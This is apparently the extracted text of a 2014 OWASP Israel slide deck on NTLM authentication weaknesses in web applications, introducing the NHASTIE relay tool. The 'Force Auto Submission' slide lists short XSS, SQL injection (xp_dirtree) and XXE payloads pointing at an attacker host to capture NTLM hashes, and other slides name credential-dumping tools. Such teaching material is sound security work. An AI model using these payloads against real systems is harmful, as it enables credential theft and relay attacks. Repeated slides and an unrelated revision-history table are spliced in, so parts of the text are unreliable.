NTLM IS A...

Official Versions: v1, v2
Challenge Response Authentication
NTLM Based Authentication in Web Applications: The Good, The Bad, and the NHASTIE

Oren Ofer, Hacktics ASC

14th January 2014, OWASP Israel
About Me

- Information Security Department Leader, EY
- Application Security Assessments
- Mobile Security Assessments
- Network / Infra Security Assessments
- Spear Phishing Simulations
- Researcher
- Trainer
NTLM in Web Applications

Based on Shodanhq.com:
- 172,000 websites respond with NTLM
- 68,657 NTLM Microsoft SharePoint Team Services

Meaning 40%!
NTLM IS A...

- NT LAN Manager Authentication Protocol
- Replaced Lan Manger Authentication
- Supports Connection Oriented Protocols
- Supports Connectionless Protocols

- CIFS / SMB
- FTP / SFTP
- HTTP / HTTPS
- IMAP
- L2TP
- LDAP
- MS SQL
- MS-RPC / MS-RPC/HTTP

- POP3
- PPTP-MPPE
- RADIUS (WiFi)
- RDP
- SIP / SIP/TLS
- SMTP
- Telnet
Supports Connectionless Protocols

- CIFS / SMB
- FTP / SFTP
- HTTP / HTTPS
- IMAP
- L2TP
- LDAP
- MS SQL
- MS-RPC / MS-RPC/HTTP
- POP3
- PPTP-MPPE
- RADIUS (WiFi)
- RDP
- SIP / SIP/TLS
- SMTP
- Telnet
NTLM IS A...

Official Versions: v1, v2
Challenge Response Authentication
## Revision Summary

<table>
<thead>
<tr>
<th>Date</th>
<th>Revision History</th>
<th>Revision Class</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>02/22/2007</td>
<td>0.01</td>
<td></td>
<td>MCPP Milestone 3 Initial Availability</td>
</tr>
<tr>
<td>06/01/2007</td>
<td>1.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>07/03/2007</td>
<td>1.0.1</td>
<td>Editorial</td>
<td>Revised and edited the technical content.</td>
</tr>
<tr>
<td>07/20/2007</td>
<td>2.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>08/10/2007</td>
<td>3.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>09/28/2007</td>
<td>4.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>10/23/2007</td>
<td>5.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>11/30/2007</td>
<td>6.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>01/25/2008</td>
<td>6.0.1</td>
<td>Editorial</td>
<td>Revised and edited the technical content.</td>
</tr>
<tr>
<td>03/14/2008</td>
<td>6.0.2</td>
<td>Editorial</td>
<td>Revised and edited the technical content.</td>
</tr>
<tr>
<td>05/16/2008</td>
<td>6.0.3</td>
<td>Editorial</td>
<td>Revised and edited the technical content.</td>
</tr>
<tr>
<td>06/20/2008</td>
<td>7.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>07/25/2008</td>
<td>8.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>08/29/2008</td>
<td>9.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>10/24/2008</td>
<td>9.0.1</td>
<td>Editorial</td>
<td>Revised and edited the technical content.</td>
</tr>
<tr>
<td>12/05/2008</td>
<td>10.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>08/14/2009</td>
<td>13.2</td>
<td>Minor</td>
<td>Updated the technical content.</td>
</tr>
<tr>
<td>09/25/2009</td>
<td>14.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>11/06/2009</td>
<td>15.0</td>
<td>Major</td>
<td>Updated and revised the technical content.</td>
</tr>
<tr>
<td>12/18/2009</td>
<td>15.1</td>
<td>Minor</td>
<td>Updated the technical content.</td>
</tr>
<tr>
<td>Date</td>
<td>Version</td>
<td>Change Level</td>
<td>Notes</td>
</tr>
<tr>
<td>------------</td>
<td>---------</td>
<td>--------------</td>
<td>-------------</td>
</tr>
<tr>
<td>03/25/2011</td>
<td>17.3</td>
<td>Minor</td>
<td>Clarified</td>
</tr>
<tr>
<td>05/06/2011</td>
<td>17.3</td>
<td>No change</td>
<td>No change</td>
</tr>
<tr>
<td>06/17/2011</td>
<td>17.4</td>
<td>Minor</td>
<td>Clarified</td>
</tr>
<tr>
<td>09/23/2011</td>
<td>18.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>12/16/2011</td>
<td>19.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>03/30/2012</td>
<td>20.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>07/12/2012</td>
<td>21.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>10/25/2012</td>
<td>22.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>01/31/2013</td>
<td>23.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>08/08/2013</td>
<td>24.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
<tr>
<td>11/14/2013</td>
<td>25.0</td>
<td>Major</td>
<td>Significant</td>
</tr>
</tbody>
</table>
NTLM IS A...

Official Versions: v1, v2

Challenge Response Authentication
TCP Socket

Simplified NTLM HTTP in TCP Socket

GET / HTTP/1.1
HTTP/1.1 401 Access Denied
WWW-Authenticate: Negotiate or WWW-Authenticate: NTLM

GET / HTTP/1.1
Authorization: NTLM base64(NTLMSSP + padding)
HTTP/1.1 401 Access Denied
Authorization: NTLM base64(NTLMSSP, Challenge, Domain, Host)

GET / HTTP/1.1
Authorization: NTLM base64(NTLMSSP + Domain User, Host, Challenge Response)
HTTP/1.1 200 OK
NTLM IS Also...

Reported with design flaws since 1996.
Many design flaws.
Many many many design flaws.
Many many many many Design Flaws.
Let's list a few, well at least until 2010

*https://www.usenix.org/legacy/events/sec10/tech/slides/geer.pdf
**NTLM Attack Vectors**
- NTLM Extraction from Sam & Memory*
- Force Auto Submission
- Offline Cracking
- Replay/Relay Attacks
- TCP Session Hijacking*
- Application Perspective

**NTLM Extraction from Sam & Memory***
- Requires Admin User
- Pass the Hash
- Publicly available tools
  - WCE
  - Kercheck
  - Passump
  - ...  

**Offline Cracking**
- Cryptographic Flaws
- Rainbow Tables
- Cloud Super Computer

**Replay & Relay**
- Replay - Request a valid authentication
- Relay - Authenticate through the attacker

**Downgrade Attacks**
1. Client requests: "Let's use NTLM version 2NDIC!
2. Server Responds: "Let's use NTLM version 1NDIC!
3. Client says: "Okay"

What is your GPO configuration?

**Application Perspective**
- No Autocomplete
- Users can be auto-connected = Persistent Cookie
NTLM Attack Vectors

- NTLM Extraction from Sam & Memory*
- Force Auto Submission
- Offline Cracking
- Replay/Relay Attacks
- TCP Session Hijacking*
- Application Perspective
NTLM Extraction from Sam & Memory*

- Requires Admin User
- Pass the Hash
- Publicly available tools
  - WCE
  - Mimikatz
  - Pwdump
  - ...

Force Auto Submission

- XSS / CSRF
  
  `<img src="file://attacker">`

- SQL Injection
  
  `user="test';EXEC master.sys.xp_dirtree \ 
  \attacker.com`

- Word Document Template
- XML External Entity (XXE)
  
  `<?xml version="1.0" encoding="ISO-8859-1"?>`
  
  `<!DOCTYPE foo [`
  
  `<!ELEMENT foo ANY >`
  
  `<!ENTITY xxe SYSTEM "file://attacker.com"`
  
  `]>><foo>&xxe;</foo>`

- Office Preview
- Phishing
- Desktop.ini
- .lnk file
Offline Cracking

- Cryptographic Flaws
- Rainbow Tables
- Cloud Super Computer
Downgrade Attacks

1. Client requests: "let's use NTLM version STRONG"
2. Server Responds: "Let's use NTLM version WEAK"
3. Client says: "Okay"

What is your GPO configuration?
Replay & Relay

Replay - Resend a valid authentication
Relay - Authenticate through the attacker
Application Perspective

- No Autocomplete=off
- Users can be auto-connected = Persistent Cookie
Why NTLM is Still Alive?!

- "Single Sign On"
- “Backwards compatibility”
- "Easy to deploy"
- "Cost efficient"
- “Is strong if deployed correctly”
- “Inside the internal infra it is okay...”
- "No easy alternatives"
Ntlm Http Session TIER Exploit
NtLm Http Session Tier Exploit
NTLM Cross Protocol Relay Example

Open Malicious Word file

SMB 2 HTTP

NTlm Http Session Tier Exploit

Victim

NHASTIE

NTlm HTTP

SQL Injection
HTTP NTLM in OWASP Top 10

- A2-Broken Authentication and Session Management
- A5-Security Misconfiguration
- A6-Sensitive Data Exposure
- A8-Cross-Site Request Forgery
- A9-Using Components with Known Vulnerabilities
executing unintended commands or accessing data without proper authorization.

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.

Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

Web applications frequently redirect and forward users to other pages and
How to Defend Web Applications?

Form Based Authentication!
Thank you!

NHASTIE Projects:
https://github.com/hacktics/nhastie

Oren Ofer, Hacktics ASC
@oren1ofer
oren.ofer@il.ey.com